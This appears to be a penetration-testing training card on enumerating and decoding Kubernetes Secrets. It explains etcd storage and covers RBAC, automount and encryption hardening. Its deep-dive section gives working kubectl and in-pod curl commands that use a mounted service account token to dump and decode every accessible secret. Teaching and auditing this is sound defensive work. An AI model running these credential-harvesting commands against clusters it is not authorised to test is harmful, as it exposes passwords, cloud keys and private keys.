Kubernetes Secret Enumeration in Cluster: Namespace Traversal and Sensitive Data Extraction
Theory
Why This Matters
A 2021 Aqua Security threat intelligence report found that in 65% of analysed real-world Kubernetes cluster compromises, the attacker's first post-access action was to enumerate Kubernetes Secrets. The finding was consistent across all attack types — cryptojacking, data exfiltration, and ransomware. Kubernetes Secrets are the standard mechanism for storing credentials in Kubernetes, but the default storage behaviour — base64 encoding in etcd without encryption — means that any principal with API server read access to Secrets can instantly obtain plaintext credentials. The misunderstanding that base64 constitutes encryption is pervasive: developers frequently treat Kubernetes Secrets as a secure vault equivalent without enabling etcd encryption at rest, auditing RBAC access to the secrets API, or using a dedicated secrets management solution.
Core Concept
Kubernetes Secrets are API objects that store key-value pairs of sensitive data. They are stored in etcd — the cluster's distributed key-value store. By default, etcd stores Secret values as base64-encoded strings without any additional encryption. Base64 is an encoding, not encryption: it is entirely reversible with a single command (echo "dGVzdA==" | base64 -d). Any principal with network access to etcd (typically restricted to the control plane) or with secrets: get/list permissions on the Kubernetes API can read the plaintext values.
Encryption at rest for Secrets requires explicit configuration of an EncryptionConfiguration resource in the API server that specifies an encryption provider (AES-CBC, AES-GCM, or KMS). This is not enabled by default in any major Kubernetes distribution. When enabled, values are encrypted before being written to etcd, but are decrypted transparently when read through the API — so RBAC access to the secrets API is still the primary control.
From within a pod, secrets can be accessed through two mechanisms: volume mounts (the secret is projected as files into a directory in the container filesystem) or environment variable injection (the secret value is set as an environment variable at pod startup). In both cases the value is already decrypted by the Kubelet.
An additional path is direct API access from within a pod: the auto-mounted service account token at /var/run/secrets/kubernetes.io/serviceaccount/token can be used to authenticate against the Kubernetes API server at the address provided by the KUBERNETES_SERVICE_HOST environment variable. If the service account has secrets: get permissions, any secret in scope can be read via an HTTP GET request.
Sealed Secrets (Bitnami) and HashiCorp Vault with the Vault Agent Injector are the two most common production-grade remediation approaches. Both keep plaintext secrets out of etcd entirely.
Technical Deep-Dive
# ── External enumeration (authenticated with kubeconfig) ─────
# List all secrets across all namespaces
kubectl get secrets --all-namespaces -o wide
# Read a specific secret and decode all values
kubectl get secret db-credentials -n production -o json |
python3 -c "
import json, sys, base64
s = json.load(sys.stdin)
for k, v in s.get('data', {}).items():
decoded = base64.b64decode(v).decode('utf-8', errors='replace')
print(f'{k}: {decoded}')
"
# Get all secrets and decode in one pipeline
kubectl get secrets --all-namespaces -o json |
python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data['items']:
ns = item['metadata']['namespace']
nm = item['metadata']['name']
for k, v in item.get('data', {}).items():
try:
val = base64.b64decode(v).decode('utf-8', errors='replace').strip()
print(f'[{ns}/{nm}] {k} = {val}')
except Exception:
pass
"
# ── In-pod API access (from a compromised pod) ────────────────
# Environment variables provided by Kubernetes
echo $KUBERNETES_SERVICE_HOST # API server IP
echo $KUBERNETES_SERVICE_PORT # API server port (usually 443)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# List secrets in the pod's namespace
curl -s --cacert $CACERT
-H "Authorization: Bearer $TOKEN"
"${APISERVER}/api/v1/namespaces/${NS}/secrets" | python3 -m json.tool
# Read a specific secret from another namespace (if ClusterRole allows)
curl -s --cacert $CACERT
-H "Authorization: Bearer $TOKEN"
"${APISERVER}/api/v1/namespaces/production/secrets/db-credentials" |
python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for k,v in d.get('data',{}).items(): print(k,'=',base64.b64decode(v).decode())
"
# ── Check etcd encryption status ─────────────────────────────
# From a control plane node (if accessible)
kubectl get apiserver -o yaml | grep -A5 encryptionConfig
# Or check the API server pod spec
kubectl get pod kube-apiserver-NODE -n kube-system -o yaml | grep encryption
# ── Check automount setting ───────────────────────────────────
kubectl get pods --all-namespaces -o json |
jq '.items[] | select(.spec.automountServiceAccountToken != false) |
{name: .metadata.name, ns: .metadata.namespace}'
Security Assessment Methodology
- Enumerate accessible secrets —
kubectl get secrets --all-namespaces. Record namespace, name, and type for each secret. Secret types includeOpaque(application credentials),kubernetes.io/service-account-token(auto-generated SA tokens),kubernetes.io/tls(TLS certificates and private keys), andkubernetes.io/dockerconfigjson(registry credentials). - Decode and categorise secret contents — base64-decode all
datafields. Categorise by sensitivity: cloud provider credentials (AWS, GCP, Azure), database passwords, API keys, TLS private keys, and signing keys. - Test in-pod API access — from within any compromised pod, use the mounted service account token to query the API server. Test whether the service account can read secrets beyond its own namespace.
- Verify etcd encryption configuration — check API server manifests for
--encryption-provider-config. Absence confirms plaintext etcd storage — this is a separate finding from RBAC access. - Audit
automountServiceAccountTokensettings — enumerate pods where auto-mounting is not explicitly disabled. Pods that do not need API server access should haveautomountServiceAccountToken: falsein both the ServiceAccount and Pod spec. - Check secret access in RBAC — cross-reference the secrets found with the RBAC bindings to understand which service accounts and user identities can reach each secret.
- Test Sealed Secrets / Vault integration — if a secrets management solution is present, verify its configuration: Sealed Secrets certificates, Vault agent sidecar injection policies, and whether any secrets bypass the solution and remain as plain Kubernetes Secrets.
Defensive Countermeasure — Enable etcd encryption at rest for Secrets using the KMS provider: configure an
EncryptionConfigurationwithkmsas the first provider, backed by AWS KMS, GCP Cloud KMS, or Azure Key Vault. This ensures that even direct etcd access does not expose plaintext secrets. Concurrently, migrate all application secrets to HashiCorp Vault with the Vault Agent Injector or use the Secrets Store CSI Driver with a cloud-native secrets manager. SetautomountServiceAccountToken: falseon all ServiceAccount objects and explicitly enable it only on pods that require API server access.
Common Assessment Errors
- Treating base64 as a security control — a developer or reviewer marking a secret as "base64 encoded" and therefore protected is a red flag. Always decode and show the plaintext value in the finding.
- Missing
kubernetes.io/dockerconfigjsonsecrets — these contain base64-encoded Docker registry credentials. If the registry is a private ECR/GCR/ACR, the credentials may grant access to proprietary images or CI artefacts. - Not testing projected token expiry — Kubernetes 1.21+ uses short-lived projected tokens (default 1-hour expiry). An old token from a running pod may have expired; re-read the current token from the file rather than using a cached value.
- Overlooking ConfigMaps for sensitive data — developers sometimes store credentials in ConfigMaps instead of Secrets because ConfigMaps lack the
Opaquetype label that draws attention. Enumerate ConfigMaps alongside Secrets. - Assuming Sealed Secrets are unreadable — Sealed Secrets are encrypted for a specific cluster's private key. If the Sealed Secrets controller's private key is accessible (stored as a standard Kubernetes Secret in
kube-system), all Sealed Secrets can be decrypted. - Not checking the etcd backup — if etcd backups are stored in S3 or another cloud object store, and those backups predate the enabling of encryption at rest, the backup files contain all historical secrets in plaintext.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0053 | Knowledge of cloud infrastructure vulnerabilities and attack surfaces | Explains Kubernetes Secret storage mechanics, etcd encoding vs encryption, and in-pod API access paths for credential harvesting |
| K0167 | Knowledge of systems security testing methodologies | Develops a seven-step Secret enumeration methodology covering external API access, in-pod token use, etcd encryption verification, and automount auditing |
| S0073 | Skill in using penetration testing tools and techniques against cloud infrastructure | Trains kubectl-based Secret enumeration, Python base64 decoding pipelines, and in-pod curl API access using mounted service account tokens |
| T0144 | Task: Conduct penetration testing on cloud-hosted systems | Directly exercises the full in-cluster credential harvesting chain from service account token use through secret decoding and impact classification |
| T0395 | Task: Recommend security controls for cloud environments | Develops KMS-backed etcd encryption configuration, Vault agent injector migration, and automountServiceAccountToken hardening strategy |
Further Reading
- "Kubernetes Secrets: Risks, Vulnerabilities, and Best Practices" — Aqua Security Blog (2021)
- "Encrypting Secret Data at Rest" — Kubernetes Official Documentation
- "Vault Agent Injector for Kubernetes" — HashiCorp Documentation
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.